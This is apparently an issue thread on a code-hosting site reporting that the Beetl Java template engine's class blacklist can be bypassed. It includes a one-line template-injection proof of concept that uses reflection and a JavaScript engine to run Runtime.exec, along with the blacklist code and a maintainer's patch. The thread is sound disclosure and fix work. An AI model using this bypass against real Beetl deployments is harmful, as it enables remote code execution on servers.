代码拉取完成,页面将自动刷新
对比其他模板引擎,Beetl的安全策略需要加强
public class DefaultNativeSecurityManager implements NativeSecurityManager{
@Override
public boolean permit(String resourceId, Class c, Object target, String method){
if (c.isArray()){
//允许调用,但实际上会在在其后调用中报错。不归此处管理
return true;
}
String name = c.getSimpleName();
String pkg = c.getPackage().getName();
if (pkg.startsWith("java.lang")){
if (name.equals("Runtime") || name.equals("Process") || name.equals("ProcessBuilder")
|| name.equals("System")){
return false;
}
}
return true;
}
}
如果使用反射(java reflect)即可以绕过黑名单的一切策略
poc
${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("s='open -a Calculator';java.lang.Runtime.getRuntime().exec(s);")}
同问这个问题,很早就这个问题,一直到现在好像没有修复,以前好多用beetl都貌似都有这个问题
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。
@陈再 多谢,我增加了禁用Class,调用
if (pkgName.startsWith("java.lang")) {
return !className.equals("Runtime")
&& !className.equals("Process")
&& !className.equals("ProcessBuilder")
&& !className.equals("Class")
&& !className.equals("System");
}
@lsw beetl可以设置禁用本地java调用,可以避免这个问题,也可以自定义安全管理器来避免,比如像我这样,增加对class的限制。 而且如果应用不像beetl在线体验网站对外暴露,应该是没有这个问题的。 他不像JSON安全漏洞那样具备普偏性。 你说好多用beetl的,能举几个例子么?
登录 后才可以发表评论